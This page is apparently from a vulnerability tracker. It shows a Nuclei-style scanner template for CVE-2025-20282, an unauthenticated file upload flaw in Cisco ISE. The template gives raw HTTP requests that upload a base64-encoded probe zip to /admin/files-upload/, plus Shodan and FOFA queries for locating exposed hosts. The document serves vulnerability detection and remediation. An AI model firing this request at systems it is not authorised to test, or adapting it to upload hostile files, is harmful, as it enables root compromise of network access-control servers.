CVE-2025-20282: Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload

2026-08-05 Cisco ISE PoC Public

Description

Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.

PoC

id: CVE-2025-20282

info:
  name: Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary files as root, leading to full system compromise.
  remediation: |
    Update to the latest Cisco ISE and Cisco ISE-PIC versions with security patches.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6
    - https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/
    - https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2025-20282
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20282
    cwe-id: CWE-434
    epss-score: 0.27498
    epss-percentile: 0.97968
    cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cisco
    product: identity_services_engine
    shodan-query: '"Set-Cookie: APPSESSIONID=" "Path=/admin"'
    fofa-query: title="identity services engine"
  tags: cve,cve2025,cisco,cisco-ise,rce,file-upload,intrusive,vkev

variables:
  probe_zip: "{{base64_decode('UEsDBBQAAAAAAHcdA12wBb+DFAAAABQAAAAJAAAAcHJvYmUudHh0Q1ZFLTIwMjUtMjAyODItcHJvYmVQSwECFAMUAAAAAAB3HQNdsAW/gxQAAAAUAAAACQAAAAAAAAAAAAAAgAEAAAAAcHJvYmUudHh0UEsFBgAAAAABAAEANwAAADsAAAAAAA==')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /admin/login.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "APPSESSIONID=")'
        internal: true

  - raw:
      - |
        POST /admin/files-upload/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----ISEProbe202520282

        ------ISEProbe202520282
        Content-Disposition: form-data; name="file"; filename="probe.zip"
        Content-Type: application/zip

        {{probe_zip}}
        ------ISEProbe202520282--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 422'
          - 'contains(header, "walkme.com")'
        condition: and
# digest: 4a0a00473045022100e5591b8dea261ebb9d5e201048ae1796e826ada5acf2a6c212210030d387d9d102203ef8f69c03877b3dcf7cb8e63922de04f28f644115d63524d96b6fa53aff53c4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities